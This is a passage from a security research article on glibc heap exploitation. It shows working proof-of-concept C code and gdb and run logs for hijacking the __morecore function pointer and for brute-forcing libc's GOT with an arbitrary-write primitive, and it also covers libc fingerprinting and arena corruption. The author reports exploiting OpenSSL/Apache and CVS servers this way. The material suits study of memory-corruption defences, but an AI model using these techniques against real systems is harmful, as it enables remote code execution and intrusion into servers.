<chunk_alloc+1468>:  mov    0x64c(%ebx),%eax
<chunk_alloc+1474>:  sub    $0xc,%esp
<chunk_alloc+1477>:  push   %esi
<chunk_alloc+1478>:  call   *(%eax)
```

where $eax points to __default_morecore

```
(gdb) x/x $eax
0x4212df80 <__morecore>:   0x4207e034
```

```
(gdb) x/4i 0x4207e034
0x4207e034 <__default_morecore>: push   %ebp
0x4207e035 <__default_morecore+1>:  mov    %esp,%ebp
0x4207e037 <__default_morecore+3>:  push   %ebx
0x4207e038 <__default_morecore+4>:  sub    $0x10,%esp
```

MORECORE() is called from the malloc() algorithm to extend the memory top, requesting the operating system via the sbrk.

MORECORE() gets called twice from malloc_extend_top()

```
    brk = (char*)(MORECORE (sbrk_size));
    ...
    /* Allocate correction */
    new_brk = (char*)(MORECORE (correction));
```

which is called by chunk_alloc():

```
    /* Try to extend */
    malloc_extend_top(ar_ptr, nb);
```

Also, MORECORE is called by main_trim() and top_chunk().

We just need to sit and wait until the code reaches any of these points. In some cases it may be necessary to arrange things in order to avoid the code crashing before.
The morecore function pointer is called each time the heap needs to be extended, so forcing the process to allocate a lot of memory is recommended after overwriting the pointer.
In case we are not able to avoid a crash before taking control of the process, there's no problem (unless the server dies completely), as we can expect the libc to be mapped in the same address in most cases.

--] 4.5.2.1 Proof of concept 5 : Jumping with morecore

The following code just shows to get the required information from a freed chunk, calculates the address of __morecore and forces a call to MORECORE() after having overwritten it.

```
[jp@vaiolator heapy]$ ./heapy
(-) lonely chunk was freed, gathering information...
   (!) sz = 520 - bk = 0x4212E1A0 - fd = 0x4212E1A0
   (!) the chunk is in bin number 64
   (!) &main_arena[0] @ 0x4212DFA0
   (!) __morecore @ 0x4212DF80
(-) overwriting __morecore...
(-) forcing a call to MORECORE()...
Segmentation fault
```

Let's look what happened with gdb, we'll also be using a simple modified malloc in the form of a shared library to know what is going on inside malloc's internal structures.

```
[jp@vaiolator heapy]$ gdb heapy
GNU gdb Red Hat Linux (5.2-2)
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) r
Starting program: /home/jp/cerebro//heapy/morecore
(-) lonely chunk was freed, gathering information...
   (!) sz = 520 - bk = 0x4212E1A0 - fd = 0x4212E1A0
   (!) the chunk is in bin number 64
   (!) &main_arena[0] @ 0x4212DFA0
   (!) __morecore @ 0x4212DF80
(-) overwriting __morecore...
(-) forcing a call to MORECORE()...

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
```

Taking a look at the output step by step:

First we alloc our lonely chunk:

```
    chunk = (unsigned int*)malloc(CHUNK_SIZE);
(gdb) x/8x chunk-1
0x80499d4:  0x00000209  0x00000000  0x00000000  0x00000000
0x80499e4:  0x00000000  0x00000000  0x00000000  0x00000000
```

Note we call malloc() again with another pointer, letting this aux pointer be the chunk next to the top_chunk... to avoid the differences in the way it is handled when freed with our purposes (remember in this special case the chunk would be coalesced with the top_chunk without getting linked to any bin):

```
        aux = (unsigned int*)malloc(0x0);

[1422] MALLOC(512) - CHUNK_ALLOC(0x40019bc0,520)
   - returning 0x8049a18 from top_chunk
   - new top 0x8049c20 size 993
[1422] MALLOC(0)   - CHUNK_ALLOC(0x40019bc0,16)
   - returning 0x8049c20 from top_chunk
   - new top 0x8049c30 size 977
```

This is the way the heap looks like up to now...

```
--- HEAP DUMP ---
                ADDRESS SIZE       FLAGS
sbrk_base   0x80499f8
chunk       0x80499f8 33(0x21)   (inuse)
chunk       0x8049a18 521(0x209) (inuse)
chunk       0x8049c20 17(0x11)   (inuse)
chunk       0x8049c30 977(0x3d1) (top)
sbrk_end    0x804a000

--- HEAP LAYOUT ---
|A||A||A||T|

--- BIN DUMP ---
ar_ptr = 0x40019bc0 - top(ar_ptr) = 0x8049c30
```

No bins at all exist now, they are completely empty.

After that we free him:

```
   free(chunk);

[1422] FREE(0x8049a20) - CHUNK_FREE(0x40019bc0,0x8049a18)
   - fronlink(0x8049a18,520,64,0x40019dc0,0x40019dc0)
   - new free chunk

(gdb) x/8x chunk-1
0x80499d4:  0x00000209  0x4212e1a0  0x4212e1a0  0x00000000
0x80499e4:  0x00000000  0x00000000  0x00000000  0x00000000
```

The chunk was freed and inserted into some bin... which was empty as this was the first chunk freed. So this is a 'lonely chunk', the only chunk in one bin.
Here we can see both bk and fd pointing to the same address in libc's memory, let's see how the main_arena looks like now:

```
0x4212dfa0 <main_arena>:   0x00000000  0x00010000  0x08049be8  0x4212dfa0
0x4212dfb0 <main_arena+16>:   0x4212dfa8  0x4212dfa8  0x4212dfb0  0x4212dfb0
0x4212dfc0 <main_arena+32>:   0x4212dfb8  0x4212dfb8  0x4212dfc0  0x4212dfc0
0x4212dfd0 <main_arena+48>:   0x4212dfc8  0x4212dfc8  0x4212dfd0  0x4212dfd0
0x4212dfe0 <main_arena+64>:   0x4212dfd8  0x4212dfd8  0x4212dfe0  0x4212dfe0
0x4212dff0 <main_arena+80>:   0x4212dfe8  0x4212dfe8  0x4212dff0  0x4212dff0
0x4212e000 <main_arena+96>:   0x4212dff8  0x4212dff8  0x4212e000  0x4212e000
0x4212e010 <main_arena+112>:  0x4212e008  0x4212e008  0x4212e010  0x4212e010
0x4212e020 <main_arena+128>:  0x4212e018  0x4212e018  0x4212e020  0x4212e020
0x4212e030 <main_arena+144>:  0x4212e028  0x4212e028  0x4212e030  0x4212e030
...
...
0x4212e180 <main_arena+480>:  0x4212e178  0x4212e178  0x4212e180  0x4212e180
0x4212e190 <main_arena+496>:  0x4212e188  0x4212e188  0x4212e190  0x4212e190
0x4212e1a0 <main_arena+512>:  0x4212e198  0x4212e198  0x080499d0  0x080499d0
0x4212e1b0 <main_arena+528>:  0x4212e1a8  0x4212e1a8  0x4212e1b0  0x4212e1b0
0x4212e1c0 <main_arena+544>:  0x4212e1b8  0x4212e1b8  0x4212e1c0  0x4212e1c0
```

Note the completely just initialized main_arena with all its bins pointing to themselves, and the just added free chunk to one of the bins...

```
(gdb) x/4x 0x4212e1a0
0x4212e1a0 <main_arena+512>:  0x4212e198  0x4212e198  0x080499d0  0x080499d0
```

Also, both bin pointers refer to our lonely chunk.

Let’s take a look at the heap in this moment:

```
--- HEAP DUMP ---
                ADDRESS   SIZE       FLAGS
sbrk_base   0x80499f8
chunk       0x80499f8 33(0x21)   (inuse)
chunk       0x8049a18 521(0x209) (free)      fd = 0x40019dc0 | bk = 0x40019dc0
chunk       0x8049c20 16(0x10)   (inuse)
chunk       0x8049c30 977(0x3d1) (top)
sbrk end    0x804a000

--- HEAP LAYOUT ---
|A||64||A||T|

--- BIN DUMP ---
ar_ptr = 0x40019bc0 - top(ar_ptr) = 0x8049c30
   bin -> 64 (0x40019dc0)
      free_chunk 0x8049a18 - size 520
```

Using the known size of the chunk, we know in which bin it was placed, so we can get main_arena’s address and, finally, __morecore.

```
(gdb) x/16x 0x4212dfa0-0x20
0x4212df80 <__morecore>:   0x4207e034  0x00000000  0x00000000  0x00000000
0x4212df90 <__morecore+16>:   0x00000000  0x00000000  0x00000000  0x00000000
0x4212dfa0 <main_arena>:   0x00000000  0x00010000  0x08049be8  0x4212dfa0
0x4212dfb0 <main_arena+16>:   0x4212dfa8  0x4212dfa8  0x4212dfb0  0x4212dfb0
```

Here, by default __morecore points to __default_morecore:

```
(gdb) x/20i __morecore
0x4207e034 <__default_morecore>: push   %ebp
0x4207e035 <__default_morecore+1>:  mov    %esp,%ebp
0x4207e037 <__default_morecore+3>:  push   %ebx
0x4207e038 <__default_morecore+4>:  sub    $0x10,%esp
0x4207e03b <__default_morecore+7>:  call   0x4207e030 <memalign_hook_ini+64>
0x4207e040 <__default_morecore+12>: add    $0xb22cc,%ebx
0x4207e046 <__default_morecore+18>: mov    0x8(%ebp),%eax
0x4207e049 <__default_morecore+21>: push   %eax
```

```
0x4207e04a <__default_morecore+22>: call   0x4201722c <_r_debug+33569648>
0x4207e04f <__default_morecore+27>: mov    0xfffffffc(%ebp),%ebx
0x4207e052 <__default_morecore+30>: mov    %eax,%edx
0x4207e054 <__default_morecore+32>: add    $0x10,%esp
0x4207e057 <__default_morecore+35>: xor    %eax,%eax
0x4207e059 <__default_morecore+37>: cmp    $0xffffffff,%edx
0x4207e05c <__default_morecore+40>: cmovne %edx,%eax
0x4207e05f <__default_morecore+43>: mov    %ebp,%esp
0x4207e061 <__default_morecore+45>: pop    %ebp
0x4207e062 <__default_morecore+46>: ret
0x4207e063 <__default_morecore+47>: lea    0x0(%esi),%esi
0x4207e069 <__default_morecore+53>: lea    0x0(%edi,1),%edi
```

To conclude, we overwrite __morecore with a bogus address, and force malloc to call __morecore:

```
   *(unsigned int*)morecore = 0x41414141;
   chunk=(unsigned int*)malloc(CHUNK_SIZE*4);
```

```
[1422] MALLOC(2048) - CHUNK_ALLOC(0x40019bc0,2056)
   - extending top chunk
   - previous size 976

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

(gdb) bt
#0  0x41414141 in ?? ()
#1  0x4207a148 in malloc () from /lib/i686/libc.so.6
#2  0x0804869d in main (argc=1, argv=0xbffffad4) at heapy.c:52
#3  0x42017589 in __libc_start_main () from /lib/i686/libc.so.6

(gdb) frame 1
#1  0x4207a148 in malloc () from /lib/i686/libc.so.6
(gdb) x/i $pc-0x5
0x4207a143 <malloc+195>:   call   0x4207a2f0 <chunk_alloc>
(gdb) disass chunk_alloc
Dump of assembler code for function chunk_alloc:
...
0x4207a8ac <chunk_alloc+1468>:   mov    0x64c(%ebx),%eax
0x4207a8b2 <chunk_alloc+1474>:   sub    $0xc,%esp
0x4207a8b5 <chunk_alloc+1477>:   push   %esi
0x4207a8b6 <chunk_alloc+1478>:   call   *(%eax)
```

At this point we see chunk_alloc trying to jump to __morecore

```
(gdb) x/x $eax
0x4212df80 <__morecore>:   0x41414141
```

```
#include <stdio.h>
#include <stdlib.h>

/* some malloc code... */
#define MAX_SMALLBIN         63
#define MAX_SMALLBIN_SIZE   512
#define SMALLBIN_WIDTH        8
#define is_small_request(nb) ((nb) < MAX_SMALLBIN_SIZE - SMALLBIN_WIDTH)
#define smallbin_index(sz)  (((unsigned long)(sz)) >> 3)
#define bin_index(sz)                           \
 ((((unsigned long)(sz)) >> 9) ==    0) ?       (((unsigned long)(sz)) >>  3):\
 ((((unsigned long)(sz)) >> 9) <=    4) ?  56 + (((unsigned long)(sz)) >>  6):\
 ((((unsigned long)(sz)) >> 9) <=   20) ?  91 + (((unsigned long)(sz)) >>  9):\
 ((((unsigned long)(sz)) >> 9) <=   84) ? 110 + (((unsigned long)(sz)) >> 12):\
 ((((unsigned long)(sz)) >> 9) <=  340) ? 119 + (((unsigned long)(sz)) >> 15):\
 ((((unsigned long)(sz)) >> 9) <= 1364) ? 124 + (((unsigned long)(sz)) >> 18):\
                                          126)

#define SIZE_MASK 0x3
```

```
#define CHUNK_SIZE 0x200

int main(int argc, char *argv[]){

        unsigned int *chunk,*aux,sz,bk,fd,bin,arena,morecore;
        chunk = (unsigned int*)malloc(CHUNK_SIZE);
        aux = (unsigned int*)malloc(0x0);

        free(chunk);
        printf("(-) lonely chunk was freed, gathering information...\n");

        sz = chunk[-1] & ~SIZE_MASK;
        fd = chunk[0];
        bk = chunk[1];

        if(bk==fd) printf("\t(!) sz = %u - bk = 0x%X - fd = 0x%X\n",sz,bk,fd);
        else printf("\t(X) bk != fd ...\n"),exit(-1);

        bin = is_small_request(sz)? smallbin_index(sz) : bin_index(sz);
        printf("\t(!) the chunk is in bin number %d\n",bin);

        arena = bk-bin*2*sizeof(void*);
        printf("\t(!) &main_arena[0] @ 0x%X\n",arena);

        morecore = arena-32;
        printf("\t(!) __morecore @ 0x%X\n",morecore);

        printf("(-) overwriting __morecore...\n");
        *(unsigned int*)morecore = 0x41414141;

        printf("(-) forcing a call to MORECORE()...\n");
        chunk=(unsigned int*)malloc(CHUNK_SIZE*4);

        return 7;
}
```

This technique works even when the process is loaded in a randomized address space, as the address of the function pointer is gathered in runtime from the targeted process. The mechanism is fully generic, as every process linked to the glibc can be exploited this way.
Also, no bruteforcing is needed, as just one try is enough to exploit the process.
On the other hand, this technique is not longer useful in newer libcs, i.e. 2.2.93, a for the changed suffered by malloc code. A new approach is suggested later to help in exploitation of these libc versions.
Morecore idea was successfully tested on different glibc versions and Linux distributions default installs: Debian 2.2r0, Mandrake 8.1, Mandrake 8.2, Redhat 6.1, Redhat 6.2, Redhat 7.0, Redhat 7.2, Redhat 7.3 and Slackware 2.2.19 (libc-2.2.3.so).
Exploit code using this trick is able to exploit the vulnerable OpenSSL/Apache servers without any hardcoded addresses in at least the above mentioned default distributions.

--] 4.5.3 Libc's GOT bruteforcing

In case the morecore trick doesn't work (we can try, as just requires one try), meaning probably that our target is using a newer libc, we still have the obtained glibc's bin address. We know that above that address is going to be located the glibc's GOT.
We just need to bruteforce upwards until hitting any entry of a going to be called libc function. This bruteforce mechanism may take a while, but not more time that should be needed to bruteforce the main object's GOT (in case we obtained its aproximate location some way).
To speed up the process, the bruteforcing start point should be obtained by adjusting the retrieved bin address with a fixed value. This value should be enough to avoid corrupting the arena to prevent crashing the process. Also, the bruteforcing can be performed using a step size bigger than one. Using a higher step value will need a less tries, but may miss

the GOT. The step size should be calculated considering the GOT size and the number of GOT entries accesses between each try (if a higher number of GOT entries are used, it’s higher the probability of modifying an entry that’s going to be accessed).

After each try, it is important to force the server to perform as many actions as possible, in order to make it call lots of different libc calls so the probability of using the GOT entry that was overwritten is higher.

Note the bruteforcing mechanism may crash the process in several ways, as it is corrupting libc data.

As we obtained the address in runtime, we can be sure we are bruteforcing the right place, even if the target is randomizing the process/lib address space, and that we will end hitting some GOT entry.

In a randomized load address scenario, we’ll need to hit a GOT entry before the process crashes to exploit the obtained bin address if there is no relationship between the load addresses in the crashed process (the one we obtained the bin address from) and the new process handling our new requests (i.e. forked processes may inherit father’s memory layout in some randomization implementations). However, the bruteforcing mechanism can take into account the already tried offsets once it has obtained the new bin address, as the relative offset between the bin and the GOT is constant.

Moreover, this technique applies to any process linked to the glibc.

Note that we could be able to exploit a server bruteforcing some specific function pointers (i.e. located in some structures such as network output buffers), but these approach is more generic.

The libc’s GOT bruteforcing idea was successfully tested in Redhat 8.0, Redhat 7.2 and Redhat 7.1 default installations.

Exploit code bruteforcing libc’s GOT is able to exploit the vulnerable CVS servers without any hardcoded addresses in at least the above mentioned default distributions.

--] 4.5.3.1 Proof of concept 6 : Hinted libc’s GOT bruteforcing

The following code bruteforces itself. The process tries to find himself, to finally end in an useless endless loop.

```
#include <stdio.h>
#include <fcntl.h>

#define ADJUST          0x200
#define STEP            0x2

#define LOOP_SC         "\xeb\xfe"
#define LOOP_SZ         2
#define SC_SZ           512
#define OUTPUT_SZ       64 * 1024

#define SOMEOFFSET(x)   11 + (rand() % ((x)-1-11))
#define SOMECHUNKSZ     32 + (rand() % 512)

#define PREV_INUSE      1
#define IS_MMAP         2
#define NON_MAIN_ARENA  4

unsigned long *aa4bmoPrimitive(unsigned long what, unsigned long
                               where,unsigned long sz){
   unsigned long *unlinkMe;
   int i=0;

   if(sz<13) sz = 13;
   unlinkMe=(unsigned long*)malloc(sz*sizeof(unsigned long));
   unlinkMe[i++] = -4;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = what;
   unlinkMe[i++] = where-8;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = what;
   unlinkMe[i++] = where-8;
   for(;i<sz;i++)
      if(i%2)
         unlinkMe[i] = ((-(i-8) * 4) & ~(IS_MMAP|NON_MAIN_ARENA)) | PREV_INUSE;
      else
         unlinkMe[i] = ((-(i-3) * 4) & ~(IS_MMAP|NON_MAIN_ARENA)) | PREV_INUSE;

   free(unlinkMe+SOMEOFFSET(sz));
   return unlinkMe;
}

/* just force some libc function calls between each bruteforcing iteration */
void do_little(void){
   int w,r;
   char buf[256];
   sleep(0);
   w = open("/dev/null",O_WRONLY);
   r = open("/dev/urandom",O_RDONLY);
   read(r,buf,sizeof(buf));
   write(w,buf,sizeof(buf));
   close(r);
   close(w);
   return;
}

int main(int argc, char **argv){
   unsigned long *output,*bin=0;
   unsigned long i=0,sz;
   char *sc,*p;
   unsigned long *start=0;

   printf("\n## HINTED LIBC GOT BRUTEFORCING PoC ##\n\n");

   sc = (char*) malloc(SC_SZ * LOOP_SZ);
   printf("(-) %d bytes shellcode @ %p\n",SC_SZ,sc);
   p = sc;
   for(p=sc;p+LOOP_SZ<sc+SC_SZ;p+=LOOP_SZ)
      memcpy(p,LOOP_SC,LOOP_SZ);


   printf("(-) forcing bin address disclosure... ");
   output = aa4bmoPrimitive(0xbffffc0,0xbfffffc4,OUTPUT_SZ);
   for(i=0;i<OUTPUT_SZ-1;i++)
      if(output[i] == output[i+1] &&
            ((output[i] & 0xffff0000) != 0xffff0000) ) {
         bin = (unsigned long*)output[i];
         printf("%p\n",bin);
         start = bin - ADJUST;
      }
   if(!bin){
      printf("failed\n");
      return 0;
   }

   if(argv[1]) i = strtoll(argv[1], (char **)NULL,0);
   else        i = 0;

   printf("(-) starting libc GOT bruteforcing @ %p\n",start);
   for(;;i++){
      sz = SOMECHUNKSZ;
      printf("  try #%.2d  writing %p at %p using %6d bytes chunk\n",
             i,sc,start-(i*STEP),s*sizeof(unsigned long));
      aa4bmoPrimitive((unsigned long)sc,(unsigned long)(start-(i*STEP)),sz);
      do_little();
   }

   printf("I'm not here, this is not happening\n");
}
```

Let's see what happens:

```
$ ./got_bf

## HINTED LIBC GOT BRUTEFORCING PoC ##

(-) 512 bytes shellcode @ 0x8049cb0
(-) forcing bin address disclosure... 0x4212b1dc
(-) starting libc GOT bruteforcing @ 0x4212a9dc
  try #00  writing 0x8049cb0 at 0x4212a9dc using   1944 bytes chunk
  try #01  writing 0x8049cb0 at 0x4212a9d4 using    588 bytes chunk
  try #02  writing 0x8049cb0 at 0x4212a9cc using   1148 bytes chunk
  try #03  writing 0x8049cb0 at 0x4212a9c4 using   1072 bytes chunk
  try #04  writing 0x8049cb0 at 0x4212a9bc using    948 bytes chunk
  try #05  writing 0x8049cb0 at 0x4212a9b4 using   1836 bytes chunk
  ...
  try #140  writing 0x8049cb0 at 0x4212a57c using   1416 bytes chunk
  try #141  writing 0x8049cb0 at 0x4212a574 using    152 bytes chunk
  try #142  writing 0x8049cb0 at 0x4212a56c using    332 bytes chunk
Segmentation fault
```

We obtained 142 consecutive tries without crashing using random sized chunks. We run our code again, starting from try number 143 this time, note the program gets the base bruteforcing address again.

```
$ ./got_bf 143

## HINTED LIBC GOT BRUTEFORCING PoC ##

(-) 512 bytes shellcode @ 0x8049cb0
(-) forcing bin address disclosure... 0x4212b1dc
(-) starting libc GOT bruteforcing @ 0x4212a9dc
  try #143  writing 0x8049cb0 at 0x4212a564 using   1944 bytes chunk
  try #144  writing 0x8049cb0 at 0x4212a55c using    588 bytes chunk
  try #145  writing 0x8049cb0 at 0x4212a554 using   1148 bytes chunk
  try #146  writing 0x8049cb0 at 0x4212a54c using   1072 bytes chunk
  try #147  writing 0x8049cb0 at 0x4212a544 using    948 bytes chunk
  try #148  writing 0x8049cb0 at 0x4212a53c using   1836 bytes chunk
  try #149  writing 0x8049cb0 at 0x4212a534 using   1132 bytes chunk
  try #150  writing 0x8049cb0 at 0x4212a52c using   1432 bytes chunk
  try #151  writing 0x8049cb0 at 0x4212a524 using    904 bytes chunk
  try #152  writing 0x8049cb0 at 0x4212a51c using   2144 bytes chunk
  try #153  writing 0x8049cb0 at 0x4212a514 using   2080 bytes chunk
Segmentation fault
```

It crashed much faster... probably we corrupted some libc data, or we have reached the GOT...

```
$ ./got_bf 154

## HINTED LIBC GOT BRUTEFORCING PoC ##

(-) 512 bytes shellcode @ 0x8049cb0
(-) forcing bin address disclosure... 0x4212b1dc
(-) starting libc GOT bruteforcing @ 0x4212a9dc
  try #154  writing 0x8049cb0 at 0x4212a50c using   1944 bytes chunk
Segmentation fault

$ ./got_bf 155
```

```
## HINTED LIBC GOT BRUTEFORCING PoC ##

(-) 512 bytes shellcode @ 0x8049cb0
(-) forcing bin address disclosure... 0x4212b1dc
(-) starting libc GOT bruteforcing @ 0x4212a9dc
  try #155  writing 0x8049cb0 at 0x4212a504 using   1944 bytes chunk
  try #156  writing 0x8049cb0 at 0x4212a4fc using    588 bytes chunk
  try #157  writing 0x8049cb0 at 0x4212a4f4 using   1148 bytes chunk
Segmentation fault

$ ./got_bf 158

## HINTED LIBC GOT BRUTEFORCING PoC ##

(-) 512 bytes shellcode @ 0x8049cb0
(-) forcing bin address disclosure... 0x4212b1dc
(-) starting libc GOT bruteforcing @ 0x4212a9dc
  try #158  writing 0x8049cb0 at 0x4212a4ec using   1944 bytes chunk
  ...
  try #179  writing 0x8049cb0 at 0x4212a444 using   1244 bytes chunk
Segmentation fault

$ ./got_bf 180

## HINTED LIBC GOT BRUTEFORCING PoC ##

(-) 512 bytes shellcode @ 0x8049cb0
(-) forcing bin address disclosure... 0x4212b1dc
(-) starting libc GOT bruteforcing @ 0x4212a9dc
  try #180  writing 0x8049cb0 at 0x4212a43c using   1944 bytes chunk
  try #181  writing 0x8049cb0 at 0x4212a434 using    588 bytes chunk
  try #182  writing 0x8049cb0 at 0x4212a42c using   1148 bytes chunk
  try #183  writing 0x8049cb0 at 0x4212a424 using   1072 bytes chunk
Segmentation fault

$ ./got_bf 183

## HINTED LIBC GOT BRUTEFORCING PoC ##

(-) 512 bytes shellcode @ 0x8049cb0
(-) forcing bin address disclosure... 0x4212b1dc
(-) starting libc GOT bruteforcing @ 0x4212a9dc
  try #183  writing 0x8049cb0 at 0x4212a424 using   1944 bytes chunk
  try #184  writing 0x8049cb0 at 0x4212a41c using    588 bytes chunk
  try #185  writing 0x8049cb0 at 0x4212a414 using   1148 bytes chunk
  try #186  writing 0x8049cb0 at 0x4212a40c using   1072 bytes chunk
  try #187  writing 0x8049cb0 at 0x4212a404 using    948 bytes chunk
  try #188  writing 0x8049cb0 at 0x4212a3fc using   1836 bytes chunk
  try #189  writing 0x8049cb0 at 0x4212a3f4 using   1132 bytes chunk
  try #190  writing 0x8049cb0 at 0x4212a3ec using   1432 bytes chunk
```

Finally, the loop shellcode gets executed... 5 crashes were needed, stepping 8 bytes each time. Playing with the STEP and the ADJUST values and the do_little() function will yield different results.

--] 4.5.4 Libc fingerprinting

Having a bin address allows us to recognize the libc version being attacked.

We just need to build a database with different libcs from different distributions to match the obtained bin address and bin number.

Knowing exactly which is the libc the target process has loaded gives us the exact absolute address of any location within libc, such as: function pointers, internal structures, flags, etc. This information can be abused to build several attacks in different scenarios, i.e. knowing the location of functions and strings allows to easily craft return into libc attacks [14].

Besides, knowing the libc version enables us to know which Linux distribution is running the target host. These could allow further exploitation in case we are not able to exploit the bug (the one we are using to leak the bin address) to execute code.

--] 4.5.5 Arena corruption (top, last remainder and bin modification)

From the previously gathered main_arena address, we know the location of any bin, including the top chunk and the last reminder chunk.
Corrupting any of this pointers will completely modify the allocator behavior. Right now, I don't have any code to confirm this, but there are lot of possibilities open for research here, as an attacker might be able to redirect a whole bin into his own supplied input.

--] 4.6 Copying the shellcode 'by hand'

Other trick that allows the attacker to know the exact location of the injected shellcode, is copying the shellcode to a fixed address using the aa4bmo primitive.
As we can't write any value, using unaligned writes is needed to create the shellcode in memory, writting 1 or 2 bytes each time.
We need to be able to copy the whole shellcode before the server crashes in order to use this technique.

--] 5 Conclusions

malloc based vulnerabilities provide a huge opportunity for fully automated exploitation.
The ability to transform the aa4bmo primitive into memory leak primitives allows the attacker to exploit processes without any prior knowledge, even in presence of memory layout randomization schemes.

[Note by editors: It came to our attention that the described technique might not work for the glibc 2.3 serie.]

--] 6 Thanks

I'd like to thank a lot of people: 8a, beto, gera, zb0, raddy, juliano, kato, javier burroni, fgsch, chipi, MaXX, lck, tomas, lau, nahual, daemon, module, ...
Classifying you takes some time (some 'complex' ppl), so I'll just say thank you for encouraging me to write this article, sharing your ideas, letting me learn a lot from you every day, reviewing the article, implementing the morecore idea for first time, being my friends, asking for torta, not making torta, personal support, coding nights, drinking beer, ysm, roquefort pizza, teletubbie talking, making work very interesting, making the world a happy place to live, making people hate you because of the music...
(you should know which applies for you, do not ask)

--] 7 References

[1] http://www.malloc.de/malloc/ptmalloc2.tar.gz
     ftp://g.oswego.edu/pub/misc/malloc.c
[2] www.phrack.org/phrack/57/p57-0x08
     Vudo - An object superstitiously believed to embody magical power
     Michel "MaXX" Kaempf
[3] www.phrack.org/phrack/57/p57-0x09
     Once upon a free()
     anonymous
[4] http://www.phrack.org/show.php?p=59&a=7
     Advances in format string exploitation
     gera and riq
[5] http://www.coresecurity.com/common/showdoc.php? \

idx=359&idxseccion=13&idxmenu=32
About exploits writing
gera
[6] http://online.securityfocus.com/bid/5363
[7] http://security.e-matters.de/advisories/012003.txt
[8] http://www.openwall.com/advisories/OW-002-netscape-jpeg.txt
JPEG COM Marker Processing Vulnerability in Netscape Browsers
Solar Designer
[9] http://lists.insecure.org/lists/bugtraq/2000/Nov/0086.html
Local root exploit in LBNL traceroute
Michel "MaXX" Kaempf
[10] http://www.w00w00.org/files/articles/heaptut.txt
w00w00 on Heap Overflows
Matt Conover & w00w00 Security Team
[11] http://www.phrack.org/show.php?p=49&a=14
Smashing The Stack For Fun And Profit
Aleph One
[12] http://phrack.org/show.php?p=55&a=8
The Frame Pointer Overwrite
klog
[13] http://www.phrack.org/show.php?p=59&a=9
Bypassing PaX ASLR protection
p59_09@author.phrack.org
[14] http://phrack.org/show.php?p=58&a=4
The advanced return-into-lib(c) exploits
Nergal

Appendix I - malloc internal structures overview

This appendix contains a brief overview about some details of malloc inner workings we need to have in mind in order to fully understand most of the techniques explained in this paper.

Free consolidated 'chunks' of memory are maintained mainly (forgetting the top chunk and the last_remainder chunk) in circular double-linked lists, which are initially empty and evolve with the heap layout. The circularity of these lists is very important for us, as we'll see later on.

A 'bin' is a pair of pointers from where these lists hang. There exist 128 (#define NAV 128) bins, which may be 'small' bins or 'big bins'. Small bins contain equally sized chunks, while big bins are composed of not the same size chunks, ordered by decreasing size.

These are the macros used to index into bins depending of its size:

```
#define MAX_SMALLBIN         63
#define MAX_SMALLBIN_SIZE   512
#define SMALLBIN_WIDTH        8
#define is_small_request(nb) ((nb) < MAX_SMALLBIN_SIZE - SMALLBIN_WIDTH)
#define smallbin_index(sz)  (((unsigned long)(sz)) >> 3)
#define bin_index(sz)                                                     \
((((unsigned long)(sz)) >> 9) ==    0) ?       (((unsigned long)(sz)) >>  3):\
 ((((unsigned long)(sz)) >> 9) <=    4) ?  56 + (((unsigned long)(sz)) >>  6):\
 ((((unsigned long)(sz)) >> 9) <=   20) ?  91 + (((unsigned long)(sz)) >>  9):\
 ((((unsigned long)(sz)) >> 9) <=   84) ? 110 + (((unsigned long)(sz)) >> 12):\
 ((((unsigned long)(sz)) >> 9) <=  340) ? 119 + (((unsigned long)(sz)) >> 15):\
 ((((unsigned long)(sz)) >> 9) <= 1364) ? 124 + (((unsigned long)(sz)) >> 18):\
                                          126)
```

From source documentation we know that 'an arena is a configuration of malloc_chunks together with an array of bins. One or more 'heaps' are associated with each arena, except for the 'main_arena', which is associated only with the 'main heap', i.e. the conventional free store obtained with calls to MORECORE()...', which is the one we are interested in.

This is the way an arena looks like...

```
typedef struct _arena {
  mbinptr av[2*NAV + 2];
  struct _arena *next;
  size_t size;
#if THREAD_STATS
  long stat_lock_direct, stat_lock_loop, stat_lock_wait;
#endif
```

’av’ is the array where bins are kept.

These are the macros used along the source code to access the bins, we can see the first two bins are never indexed; they refer to the topmost chunk, the last_remainder chunk and a bitvector used to improve seek time, though this is not really important for us.

```
    /* bitvector of nonempty blocks */
#define binblocks(a)      (bin_at(a,0)->size)
    /* The topmost chunk */
#define top(a)            (bin_at(a,0)->fd)
    /* remainder from last split */
#define last_remainder(a) (bin_at(a,1))

#define bin_at(a, i)   BOUNDED_1(_bin_at(a, i))
#define _bin_at(a, i)  ((mbinptr)((char*)&(((a)->av)[2*(i)+2]) - 2*SIZE_SZ))
```

Finally, the main_arena...

```
#define IAV(i) _bin_at(&main_arena, i), _bin_at(&main_arena, i)
static arena main_arena = {
    {
 0, 0,
 IAV(0),   IAV(1),   IAV(2),   IAV(3),   IAV(4),   IAV(5),   IAV(6),   IAV(7),
 IAV(8),   IAV(9),   IAV(10),  IAV(11),  IAV(12),  IAV(13),  IAV(14),  IAV(15),
 IAV(16),  IAV(17),  IAV(18),  IAV(19),  IAV(20),  IAV(21),  IAV(22),  IAV(23),
 IAV(24),  IAV(25),  IAV(26),  IAV(27),  IAV(28),  IAV(29),  IAV(30),  IAV(31),
 IAV(32),  IAV(33),  IAV(34),  IAV(35),  IAV(36),  IAV(37),  IAV(38),  IAV(39),
 IAV(40),  IAV(41),  IAV(42),  IAV(43),  IAV(44),  IAV(45),  IAV(46),  IAV(47),
 IAV(48),  IAV(49),  IAV(50),  IAV(51),  IAV(52),  IAV(53),  IAV(54),  IAV(55),
 IAV(56),  IAV(57),  IAV(58),  IAV(59),  IAV(60),  IAV(61),  IAV(62),  IAV(63),
 IAV(64),  IAV(65),  IAV(66),  IAV(67),  IAV(68),  IAV(69),  IAV(70),  IAV(71),
 IAV(72),  IAV(73),  IAV(74),  IAV(75),  IAV(76),  IAV(77),  IAV(78),  IAV(79),
 IAV(80),  IAV(81),  IAV(82),  IAV(83),  IAV(84),  IAV(85),  IAV(86),  IAV(87),
 IAV(88),  IAV(89),  IAV(90),  IAV(91),  IAV(92),  IAV(93),  IAV(94),  IAV(95),
